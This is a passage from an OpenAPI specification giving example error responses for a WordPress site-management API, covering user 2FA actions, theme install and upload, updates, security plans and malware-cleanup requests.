400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.users", "message": "Can't be blank" } ] } } }, "blank_wp_object_id": { "summary": "WordPress user object ID is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.users.0.wp_object_id", "message": "Can't be blank" } ] } } }, "invalid_wp_object_id": { "summary": "WordPress user object ID is not an integer", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sites.0.users.0.wp_object_id", "message": "Must be an integer" } ] } } }, "blank_action": { "summary": "2FA action is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "action", "message": "Can't be blank" } ] } } }, "invalid_action": { "summary": "2FA action is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "action", "message": "Must be enable, disable, or reset" } ] } } }, "invalid_send_email": { "summary": "Send email is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "send_email", "message": "Must be a boolean" } ] } } }, "invalid_sso_wp_object_id": { "summary": "SSO WordPress user object ID is not an integer", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "wp_object_id", "message": "Must be an integer." } ] } } } } } } }, "SitesWpUsersBusinessErrorResponse": { "description": "The WordPress user action could not be completed.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "sites.0.users.0.wp_object_id", "message": "Wp user not found" } ] } } } } }, "SitesWpUsersSsoNotFoundResponse": { "description": "The site or requested WordPress user could not be found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site is not available", "value": { "error": { "status": 404, "code": "not_found", "message": "Site not found" } } }, "wp_user_not_found": { "summary": "WordPress user was not found", "value": { "error": { "status": 404, "code": "not_found", "message": "WP user not found" } } } } } } }, "SitesWpThemesInvalidIndexQueryResponse": { "description": "The `site_ids`, filters, or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_site_ids_type": { "summary": "Site IDs is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site_ids", "message": "Must be an array" } ] } } }, "blank_site_ids": { "summary": "Site IDs is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site_ids", "message": "Can't be blank" } ] } } }, "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[slug:contains]", "message": "Filter is not supported." } ] } } }, "invalid_boolean_filter": { "summary": "Boolean filter value is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "active", "message": "Must be a boolean." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SitesWpThemesSiteIdsUnprocessableResponse": { "description": "One or more submitted `site_ids` values are not available to you.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SiteIdsBusinessError" }, "examples": { "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "resource_not_found", "param": "site_ids", "message": "Site not found", "site_id": "2ad8f92c4b6e1a7d3c5f9b0e8a1d6c4f" } ] } } } } } } }, "SitesWpThemesInstallBadRequestResponse": { "description": "The theme install request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_sites": { "summary": "Sites key is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites", "message": "Can't be blank" } ] } } }, "missing_theme_slug": { "summary": "Theme slug is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.themes.0.slug", "message": "slug can't be blank" } ] } } }, "invalid_package_scheme": { "summary": "Package URL is not HTTPS", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sites.0.themes.0.package", "message": "package must be a https URL" } ] } } }, "invalid_package_domain": { "summary": "Package URL is not from a WordPress.org domain", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_domain", "param": "sites.0.themes.0.package", "message": "Invalid package domain. Only WordPress.org subdomains (*.wordpress.org, *.w.org, *.wp.org) are allowed." } ] } } }, "invalid_options_type": { "summary": "Operation options is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0.options", "message": "Options must be an object" } ] } } }, "invalid_visual_regression_option": { "summary": "Visual regression option is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0.options.visual_regression", "message": "Must be a boolean" } ] } } }, "invalid_sandbox_option": { "summary": "Sandbox option is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0.options.sandbox", "message": "Must be a boolean" } ] } } } } } } }, "SitesWpThemesInstallUnprocessableResponse": { "description": "The theme install task could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "sites.0.id", "message": "Site not found" } ] } } }, "visual_regression_unavailable": { "summary": "Visual regression is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.visual_regression", "message": "Plan does not support Visual Regression" } ] } } }, "backup_unavailable": { "summary": "Backup before operation is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.backup", "message": "Plan does not support Safe Updates" } ] } } }, "sandbox_unavailable": { "summary": "Sandbox operation is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.sandbox", "message": "Plan does not support Sandbox Updates" } ] } } }, "sandbox_backup_conflict": { "summary": "Sandbox and backup options cannot both be enabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "conflict", "param": "sites.0.options", "message": "sandbox and backup cannot both be enabled" } ] } } }, "sandbox_conflict": { "summary": "Sandbox operation conflicts with another staged manage task", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "conflict", "param": "sites.0.options.sandbox", "message": "Sandbox updates already running for this site" } ] } } } } } } }, "SitesWpThemesUploadBadRequestResponse": { "description": "The theme upload request is not multipart/form-data or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_content_type": { "summary": "Request is not multipart/form-data", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "Content-Type", "message": "Unsupported media type. Expected multipart/form-data." } ] } } }, "missing_themes": { "summary": "Theme file is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "themes", "message": "Theme file is required" } ] } } }, "file_not_uploaded": { "summary": "File is not an uploaded file", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "themes", "message": "Invalid theme file" } ] } } }, "file_not_zip": { "summary": "File is not a ZIP archive", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "file_must_be_zip", "param": "themes", "message": "Theme file must be a zip archive" } ] } } }, "file_too_large": { "summary": "File is larger than 50 MB", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "file_too_large", "param": "themes", "message": "Theme file size exceeds 50 MB" } ] } } } } } } }, "SitesWpThemesUploadUnprocessableResponse": { "description": "The theme upload task could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "upload_failed": { "summary": "Upload storage failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "param": "base", "message": "Failed to upload theme file" } ] } } }, "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "sites.0.id", "message": "Site not found" } ] } } }, "visual_regression_unavailable": { "summary": "Visual regression is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.visual_regression", "message": "Plan does not support Visual Regression" } ] } } }, "backup_unavailable": { "summary": "Backup before operation is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.backup", "message": "Plan does not support Safe Updates" } ] } } }, "sandbox_unavailable": { "summary": "Sandbox operation is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.sandbox", "message": "Plan does not support Sandbox Updates" } ] } } }, "sandbox_backup_conflict": { "summary": "Sandbox and backup options cannot both be enabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "conflict", "param": "sites.0.options", "message": "sandbox and backup cannot both be enabled" } ] } } }, "sandbox_conflict": { "summary": "Sandbox operation conflicts with another staged manage task", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "conflict", "param": "sites.0.options.sandbox", "message": "Sandbox updates already running for this site" } ] } } } } } } }, "SitesWpThemesOperationBadRequestResponse": { "description": "The theme operation request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_sites": { "summary": "Sites key is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites", "message": "Can't be blank" } ] } } }, "invalid_sites_type": { "summary": "Sites is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites", "message": "Must be an array" } ] } } }, "invalid_site_payload": { "summary": "Site entry is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0", "message": "Invalid site payload" } ] } } }, "blank_site_id": { "summary": "Site ID is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.id", "message": "Site id can't be blank" } ] } } }, "missing_themes": { "summary": "Site theme list is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.themes", "message": "themes can't be blank" } ] } } }, "blank_theme_filename": { "summary": "Theme filename is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.themes.0.filename", "message": "filename can't be blank" } ] } } }, "invalid_options_type": { "summary": "Operation options is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0.options", "message": "Options must be an object" } ] } } }, "invalid_visual_regression_option": { "summary": "Visual regression option is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0.options.visual_regression", "message": "Must be a boolean" } ] } } }, "invalid_sandbox_option": { "summary": "Sandbox option is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0.options.sandbox", "message": "Must be a boolean" } ] } } } } } } }, "SitesWpThemesThemeActionUnprocessableResponse": { "description": "The theme operation task could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "sites.0.id", "message": "Site not found" } ] } } }, "theme_not_installed": { "summary": "Theme is not installed on the site", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "theme_not_installed", "param": "sites.0.themes.0", "message": "Theme twentytwentyfour is not installed on this site" } ] } } }, "visual_regression_unavailable": { "summary": "Visual regression is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.visual_regression", "message": "Plan does not support Visual Regression" } ] } } }, "backup_unavailable": { "summary": "Backup before operation is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.backup", "message": "Plan does not support Safe Updates" } ] } } }, "sandbox_unavailable": { "summary": "Sandbox operation is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.sandbox", "message": "Plan does not support Sandbox Updates" } ] } } }, "sandbox_backup_conflict": { "summary": "Sandbox and backup options cannot both be enabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "conflict", "param": "sites.0.options", "message": "sandbox and backup cannot both be enabled" } ] } } }, "sandbox_conflict": { "summary": "Sandbox operation conflicts with another staged manage task", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "conflict", "param": "sites.0.options.sandbox", "message": "Sandbox updates already running for this site" } ] } } } } } } }, "SitesWpThemesLockBadRequestResponse": { "description": "The theme lock or unlock request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_sites": { "summary": "Sites key is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites", "message": "Can't be blank" } ] } } }, "invalid_sites_type": { "summary": "Sites is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites", "message": "Must be an array" } ] } } }, "invalid_site_payload": { "summary": "Site entry is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0", "message": "Invalid site payload" } ] } } }, "blank_site_id": { "summary": "Site ID is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.id", "message": "Site id can't be blank" } ] } } }, "missing_themes": { "summary": "Site theme list is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.themes", "message": "themes can't be blank" } ] } } }, "blank_theme_filename": { "summary": "Theme filename is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.themes.0.filename", "message": "filename can't be blank" } ] } } } } } } }, "SitesWpThemesLockUnprocessableResponse": { "description": "Theme updates could not be locked or unlocked.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "sites.0.id", "message": "Site not found" } ] } } }, "theme_not_installed": { "summary": "Theme is not installed on the site", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "theme_not_installed", "param": "sites.0.themes.0", "message": "Theme twentytwentyfour is not installed on this site" } ] } } } } } } }, "SitesWpUpdatesInvalidIndexQueryResponse": { "description": "The `site_ids`, filters, or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_site_ids_type": { "summary": "Site IDs is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site_ids", "message": "Must be an array" } ] } } }, "blank_site_ids": { "summary": "Site IDs is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site_ids", "message": "Can't be blank" } ] } } }, "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[name:contains]", "message": "Filter is not supported." } ] } } }, "invalid_type_filter_shape": { "summary": "Type filter must use array syntax", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[type:in]", "message": "Must be an array." } ] } } }, "invalid_type_filter_value": { "summary": "Type filter value is unsupported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[type:in]", "message": "Type must be core, plugin, or theme." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SitesWpUpdatesSiteIdsUnprocessableResponse": { "description": "One or more submitted `site_ids` values are not available to you.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SiteIdsBusinessError" }, "examples": { "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "resource_not_found", "param": "site_ids", "message": "Site not found", "site_id": "2ad8f92c4b6e1a7d3c5f9b0e8a1d6c4f" } ] } } } } } } }, "SitesWpUpdatesPerformBadRequestResponse": { "description": "The WordPress update request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_sites": { "summary": "Sites key is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites", "message": "Can't be blank" } ] } } }, "invalid_sites_type": { "summary": "Sites is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites", "message": "Must be an array" } ] } } }, "invalid_site_payload": { "summary": "Site entry is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0", "message": "Must be an object" } ] } } }, "blank_site_id": { "summary": "Site ID is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.id", "message": "Can't be blank" } ] } } }, "missing_updates": { "summary": "Site has no selected updates", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0", "message": "Must include at least one plugin, theme, or core update" } ] } } }, "invalid_plugins_type": { "summary": "Plugins value is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0.plugins", "message": "Must be an array" } ] } } }, "blank_plugin_filename": { "summary": "Plugin filename is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.plugins.0.filename", "message": "Can't be blank" } ] } } }, "invalid_themes_type": { "summary": "Themes value is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0.themes", "message": "Must be an array" } ] } } }, "blank_theme_filename": { "summary": "Theme filename is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "sites.0.themes.0.filename", "message": "Can't be blank" } ] } } }, "invalid_options_type": { "summary": "Operation options is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sites.0.options", "message": "Must be an object" } ] } } }, "invalid_backup_option": { "summary": "Backup option is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sites.0.options.backup", "message": "Must be a boolean" } ] } } }, "invalid_sandbox_option": { "summary": "Sandbox option is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sites.0.options.sandbox", "message": "Must be a boolean" } ] } } }, "invalid_visual_regression_option": { "summary": "Visual regression option is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sites.0.options.visual_regression", "message": "Must be a boolean" } ] } } }, "sandbox_backup_conflict": { "summary": "Sandbox and backup options cannot both be enabled", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "conflict", "param": "sites.0.options", "message": "Cannot enable sandbox and backup together." } ] } } } } } } }, "SitesWpUpdatesPerformUnprocessableResponse": { "description": "The WordPress update task could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "site_not_found": { "summary": "Submitted site is not available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "sites.0.id", "message": "Site not found" } ] } } }, "visual_regression_unavailable": { "summary": "Visual regression is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.visual_regression", "message": "Plan does not support Visual Regression." } ] } } }, "backup_unavailable": { "summary": "Backup before update is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.backup", "message": "Plan does not support Safe Updates." } ] } } }, "sandbox_unavailable": { "summary": "Sandbox update is not available for the site plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "sites.0.options.sandbox", "message": "Plan does not support Sandbox Updates." } ] } } }, "sandbox_conflict": { "summary": "Sandbox update conflicts with another operation", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "conflict", "param": "sites.0.options.sandbox", "message": "Conflicting operation in progress." } ] } } } } } } }, "SiteSecurityPlanRequiredResponse": { "description": "The site plan does not support enabling site security scanning.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Security is not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Security." } ] } } } } } } }, "SiteSecurityScannerCleanupEligibilityConflictResponse": { "description": "Another malware cleanup is already in progress for the site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SiteSecurityScannerCleanupConflictError" }, "example": { "error": { "status": 409, "code": "conflict", "message": "Conflict", "details": [ { "code": "already_in_progress", "message": "Another malware cleanup is already in progress." } ] } } } } }, "SiteSecurityScannerCleanupEligibilityBusinessResponse": { "description": "Cleanup cannot be started for the site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "cleanup_not_applicable": { "summary": "Site is not hacked", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "cleanup_not_applicable", "message": "Site is not hacked; cleanup is not applicable." } ] } } }, "feature_not_enabled": { "summary": "Security is disabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "feature_not_enabled", "message": "Security feature is disabled for this site." } ] } } }, "resource_not_ready": { "summary": "Snapshot is not ready", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_ready", "message": "Snapshot is not ready for cleanup." } ] } } }, "manual_cleanup_required": { "summary": "Complex malware requires manual cleanup", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "manual_cleanup_required", "message": "Your website contains complex malware; manual cleanup is required." } ] } } }, "cleanup_credit_required": { "summary": "Cleanup credit required", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "cleanup_credit_required", "message": "Cleanup credit required." } ] } } } } } } }, "SiteSecurityScannerCleanupInvalidRequestResponse": { "description": "The `cleanup` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_cleanup": { "summary": "Missing cleanup root key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "cleanup", "message": "Can't be blank" } ] } } }, "cleanup_invalid_type": { "summary": "Cleanup root key is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "cleanup", "message": "Must be an object." } ] } } }, "missing_connection_method": { "summary": "Missing connection method", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "cleanup.connection.method", "message": "Can't be blank" } ] } } }, "invalid_connection_method": { "summary": "Invalid connection method", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "cleanup.connection.method", "message": "Invalid connection method." } ] } } }, "incomplete_server": { "summary": "Incomplete server credentials", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "incomplete_credentials", "param": "cleanup.connection.credentials.server", "message": "Incomplete server credentials." } ] } } }, "missing_server_protocol": { "summary": "Missing server protocol", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "cleanup.connection.credentials.server.protocol", "message": "Can't be blank" } ] } } }, "invalid_server_protocol": { "summary": "Invalid server protocol", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "cleanup.connection.credentials.server.protocol", "message": "Invalid server protocol." } ] } } }, "incomplete_database": { "summary": "Incomplete database credentials", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "incomplete_credentials", "param": "cleanup.connection.credentials.database", "message": "Incomplete database credentials." } ] } } }, "database_not_allowed": { "summary": "Database credentials sent for HTTP cleanup", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "cleanup.connection.credentials.database", "message": "Database credentials are only accepted for FTP cleanup." } ] } } }, "blank_password_roles": { "summary": "Password reset roles are blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "cleanup.options.post_cleanup.passwords.roles", "message": "Password reset roles can't be blank." } ] } } }, "invalid_password_roles": { "summary": "Invalid password reset roles", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "cleanup.options.post_cleanup.passwords.roles", "message": "Invalid password reset roles." } ] } } } } } } }, 